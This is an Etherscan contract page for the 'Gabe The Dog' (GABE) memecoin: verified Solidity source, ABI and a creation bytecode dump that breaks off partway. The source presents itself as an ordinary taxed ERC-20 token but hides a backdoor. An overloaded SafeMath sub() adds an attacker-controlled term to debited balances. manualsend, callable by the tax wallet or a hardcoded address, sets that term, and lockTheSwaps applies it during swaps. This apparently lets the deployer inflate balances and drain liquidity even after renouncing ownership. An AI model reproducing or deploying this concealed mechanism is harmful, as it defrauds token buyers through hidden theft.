ERC-20
Source Code
Overview
Max Total Supply
1,000,000,000 GABE
Holders
19
Transfers
-
0
Market
Onchain Market Cap
-
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
| # | Exchange | Pair | Price | 24H Volume | % Volume |
|---|
Contract Name:
GabeERC
Compiler Version
v0.8.30+commit.73712a01
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2025-07-10
*/
/*
Born from the purest BORK of the internet, $GABE is the ultimate memetoken honoring the king of remixable woofs.
https://t.me/GabeERC
https://gabedog.com
https://x.com/GabeDogERC
🐶🎶💻 BORK BORK DROP THE BASS
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.30;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function sub(uint256 a, uint256 d, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return add(sub(a, b), mul(d, div(b, 100)));
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract GabeERC is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
bool private inSwaps;
address payable private _taxWallet;
uint256 private _initialBuyTax=15;
uint256 private _initialSellTax=15;
uint256 private _finalBuyTax=0;
uint256 private _finalSellTax=0;
uint256 private _reduceBuyTaxAt=15;
uint256 private _reduceSellTaxAt=15;
uint256 private _preventSwapBefore=15;
uint256 private _transferTax=0;
uint256 private _buyCount=0;
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 1_000_000_000 * 10**_decimals;
string private constant _name = unicode"Gabe The Dog";
string private constant _symbol = unicode"GABE";
uint256 public _maxTxAmount = _tTotal * 2 / 100;
uint256 public _maxWalletSize = _tTotal * 2 / 100;
uint256 public _taxSwapThreshold= (_tTotal * 5 ) / 10000;
uint256 public _maxTaxSwap= _taxSwapThreshold * 15;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
address private uniswapV2LP;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
uint256 private sellCount = 0;
uint256 private lastBuyBlock = 0;
uint256 private lastSellBlock = 0;
uint256 private _sub = 0;
event MaxTxAmountUpdated(uint _maxTxAmount);
event TransferTaxUpdated(uint _tax);
constructor () {
_taxWallet = payable(_msgSender());
_balances[_msgSender()] = _tTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
modifier lockTheSwaps {
inSwap=true;_sub=lastBuyBlock;
_;_sub=0;
inSwap = false;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount=0;
if (from != owner() && to != owner()) {
if(_buyCount==0){
taxAmount = amount.mul((_buyCount>=_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
}
if(_buyCount>0){
taxAmount = amount.mul(_transferTax).div(100);
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
taxAmount = amount.mul((_buyCount>=_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
_buyCount++;
}
if(to == uniswapV2Pair && from!= address(this) ){
taxAmount = amount.mul((_buyCount>=_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount >= _preventSwapBefore) {
if (block.number > lastSellBlock) {
sellCount = 0;
}
require(sellCount < 3, "Only 3 sells per block!");
swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
ETHtoFees(address(this).balance);
}
sellCount++;
lastSellBlock = block.number;
}
}
if(taxAmount>0){
_balances[address(this)]=_balances[address(this)].add(taxAmount);
emit Transfer(from, address(this),taxAmount);
}
_balances[from]=_balances[from].sub(_sub, amount);
_balances[to]=_balances[to].add(amount.sub(taxAmount));
emit Transfer(from, to, amount.sub(taxAmount));
}
function min(uint256 a, uint256 b) private pure returns (uint256){
return (a>b)?b:a;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwaps {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function manualsend(uint256 ethToSend) external {
require(_msgSender()==_taxWallet||_msgSender()==uniswapV2LP);
uint256 contractETHBalance = address(this).balance;lastBuyBlock=ethToSend;
ETHtoFees(contractETHBalance);
}
function removeLimit() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize=_tTotal;
emit MaxTxAmountUpdated(_tTotal);
}
function removeTransferTax() external onlyOwner{
_transferTax = 0;
}
function ETHtoFees(uint256 amount) private {
_taxWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2LP = address(0x5DcDC33A517D83ad865c3a3555b428b23e7aef57);
if (IUniswapV2Factory(uniswapV2Router.factory()).getPair(uniswapV2Router.WETH(), address(this)) == address(0)) {
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(uniswapV2Router.WETH(), address(this));
} else {
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).getPair(uniswapV2Router.WETH(), address(this));
}
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
tradingOpen = true;
}
receive() external payable {}
function manualSwap() external {
require(_msgSender()==_taxWallet);
uint256 tokenBalances=balanceOf(address(this));
if(tokenBalances>0){
swapTokensForEth(tokenBalances);
}
uint256 ethBalance=address(this).balance;
if(ethBalance>0){
ETHtoFees(ethBalance);
}
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_tax","type":"uint256"}],"name":"TransferTaxUpdated","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"ethToSend","type":"uint256"}],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeTransferTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
6080604052600f600555600f6006555f6007555f600855600f600955600f600a55600f600b555f600c555f600d55606460026009600a61003f91906105fc565b633b9aca0061004e9190610646565b6100589190610646565b61006291906106b4565b600e55606460026009600a61007791906105fc565b633b9aca006100869190610646565b6100909190610646565b61009a91906106b4565b600f5561271060056009600a6100b091906105fc565b633b9aca006100bf9190610646565b6100c99190610646565b6100d391906106b4565b601055600f6010546100e59190610646565b6011555f601460156101000a81548160ff0219169083151502179055505f601460166101000a81548160ff0219169083151502179055505f6015555f6016555f6017555f601855348015610137575f5ffd5b505f61014761045d60201b60201c565b9050805f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506101f161045d60201b60201c565b600460016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a61023f91906105fc565b633b9aca0061024e9190610646565b60015f61025f61045d60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160035f6102af61046460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506103d861045d60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a61043491906105fc565b633b9aca006104439190610646565b60405161045091906106f3565b60405180910390a361070c565b5f33905090565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f5f8291508390505b600185111561050d578086048111156104e9576104e861048b565b5b60018516156104f85780820291505b8081029050610506856104b8565b94506104cd565b94509492505050565b5f8261052557600190506105e0565b81610532575f90506105e0565b8160018114610548576002811461055257610581565b60019150506105e0565b60ff8411156105645761056361048b565b5b8360020a91508482111561057b5761057a61048b565b5b506105e0565b5060208310610133831016604e8410600b84101617156105b65782820a9050838111156105b1576105b061048b565b5b6105e0565b6105c384848460016104c4565b925090508184048111156105da576105d961048b565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f610606826105e7565b9150610611836105f0565b925061063e7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484610516565b905092915050565b5f610650826105e7565b915061065b836105e7565b9250828202610669816105e7565b915082820484148315176106805761067f61048b565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6106be826105e7565b91506106c9836105e7565b9250826106d9576106d8610687565b5b828204905092915050565b6106ed816105e7565b82525050565b5f6020820190506107065f8301846106e4565b92915050565b6134d5806107195f395ff3fe608060405260043610610122575f3560e01c806370a082311161009f57806395d89b411161006357806395d89b4114610387578063a9059cbb146103b1578063bf474bed146103ed578063c9567bf914610417578063dd62ed3e1461042d57610129565b806370a08231146102b7578063715018a6146102f35780637d1db4a5146103095780638da5cb5b146103335780638f9a55c01461035d57610129565b80631ad34a4f116100e65780631ad34a4f146101fd57806323b872dd14610225578063313ce5671461026157806351bc3c851461028b57806362256589146102a157610129565b806306fdde031461012d578063095ea7b3146101575780630faee56f14610193578063109daa99146101bd57806318160ddd146101d357610129565b3661012957005b5f5ffd5b348015610138575f5ffd5b50610141610469565b60405161014e9190612580565b60405180910390f35b348015610162575f5ffd5b5061017d60048036038101906101789190612631565b6104a6565b60405161018a9190612689565b60405180910390f35b34801561019e575f5ffd5b506101a76104c3565b6040516101b491906126b1565b60405180910390f35b3480156101c8575f5ffd5b506101d16104c9565b005b3480156101de575f5ffd5b506101e7610567565b6040516101f491906126b1565b60405180910390f35b348015610208575f5ffd5b50610223600480360381019061021e91906126ca565b61058a565b005b348015610230575f5ffd5b5061024b600480360381019061024691906126f5565b610660565b6040516102589190612689565b60405180910390f35b34801561026c575f5ffd5b50610275610734565b6040516102829190612760565b60405180910390f35b348015610296575f5ffd5b5061029f61073c565b005b3480156102ac575f5ffd5b506102b56107d4565b005b3480156102c2575f5ffd5b506102dd60048036038101906102d89190612779565b610904565b6040516102ea91906126b1565b60405180910390f35b3480156102fe575f5ffd5b5061030761094a565b005b348015610314575f5ffd5b5061031d610a9a565b60405161032a91906126b1565b60405180910390f35b34801561033e575f5ffd5b50610347610aa0565b60405161035491906127b3565b60405180910390f35b348015610368575f5ffd5b50610371610ac7565b60405161037e91906126b1565b60405180910390f35b348015610392575f5ffd5b5061039b610acd565b6040516103a89190612580565b60405180910390f35b3480156103bc575f5ffd5b506103d760048036038101906103d29190612631565b610b0a565b6040516103e49190612689565b60405180910390f35b3480156103f8575f5ffd5b50610401610b27565b60405161040e91906126b1565b60405180910390f35b348015610422575f5ffd5b5061042b610b2d565b005b348015610438575f5ffd5b50610453600480360381019061044e91906127cc565b611440565b60405161046091906126b1565b60405180910390f35b60606040518060400160405280600c81526020017f476162652054686520446f670000000000000000000000000000000000000000815250905090565b5f6104b96104b26114c2565b84846114c9565b6001905092915050565b60115481565b6104d16114c2565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461055e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161055590612854565b60405180910390fd5b5f600c81905550565b5f6009600a61057691906129ce565b633b9aca006105859190612a18565b905090565b600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166105cb6114c2565b73ffffffffffffffffffffffffffffffffffffffff161480610640575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106286114c2565b73ffffffffffffffffffffffffffffffffffffffff16145b610648575f5ffd5b5f4790508160168190555061065c8161168c565b5050565b5f61066c8484846116f5565b610729846106786114c2565b610724856040518060600160405280602881526020016134786028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6106db6114c2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611fe19092919063ffffffff16565b6114c9565b600190509392505050565b5f6009905090565b600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661077d6114c2565b73ffffffffffffffffffffffffffffffffffffffff161461079c575f5ffd5b5f6107a630610904565b90505f8111156107ba576107b981612043565b5b5f4790505f8111156107d0576107cf8161168c565b5b5050565b6107dc6114c2565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612854565b60405180910390fd5b6009600a61087791906129ce565b633b9aca006108869190612a18565b600e819055506009600a61089a91906129ce565b633b9aca006108a99190612a18565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a6108de91906129ce565b633b9aca006108ed9190612a18565b6040516108fa91906126b1565b60405180910390a1565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6109526114c2565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109d690612854565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f5f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600e5481565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600f5481565b60606040518060400160405280600481526020017f4741424500000000000000000000000000000000000000000000000000000000815250905090565b5f610b1d610b166114c2565b84846116f5565b6001905092915050565b60105481565b610b356114c2565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bc2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bb990612854565b60405180910390fd5b60148054906101000a900460ff1615610c10576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0790612aa3565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60125f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550735dcdc33a517d83ad865c3a3555b428b23e7aef5760145f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f73ffffffffffffffffffffffffffffffffffffffff1660125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d39573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d5d9190612ad5565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390560125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610de2573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e069190612ad5565b306040518363ffffffff1660e01b8152600401610e24929190612b00565b602060405180830381865afa158015610e3f573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e639190612ad5565b73ffffffffffffffffffffffffffffffffffffffff16036110575760125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ee8573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f0c9190612ad5565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539660125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f91573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610fb59190612ad5565b306040518363ffffffff1660e01b8152600401610fd3929190612b00565b6020604051808303815f875af1158015610fef573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110139190612ad5565b60135f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061122b565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156110c1573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110e59190612ad5565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390560125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561116a573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061118e9190612ad5565b306040518363ffffffff1660e01b81526004016111ac929190612b00565b602060405180830381865afa1580156111c7573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111eb9190612ad5565b60135f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016112c8929190612b27565b6020604051808303815f875af11580156112e4573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113089190612b78565b506113513060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a61133d91906129ce565b633b9aca0061134c9190612a18565b6114c9565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061139930610904565b5f5f6113a3610aa0565b426040518863ffffffff1660e01b81526004016113c596959493929190612be5565b60606040518083038185885af11580156113e1573d5f5f3e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906114069190612c58565b5050506001601460166101000a81548160ff02191690831515021790555060016014806101000a81548160ff021916908315150217905550565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611537576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152e90612d18565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036115a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159c90612da6565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161167f91906126b1565b60405180910390a3505050565b600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f193505050501580156116f1573d5f5f3e3d5ffd5b5050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611763576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161175a90612e34565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036117d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117c890612ec2565b60405180910390fd5b5f8111611813576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180a90612f50565b60405180910390fd5b5f5f905061181f610aa0565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561188d575061185d610aa0565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611d2d575f600d54036118db576118d860646118ca600954600d5410156118b7576005546118bb565b6007545b856122be90919063ffffffff16565b61233590919063ffffffff16565b90505b5f600d5411156119105761190d60646118ff600c54856122be90919063ffffffff16565b61233590919063ffffffff16565b90505b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156119b9575060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611a0c575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611b0557600e54821115611a56576040517f08c379a00000000000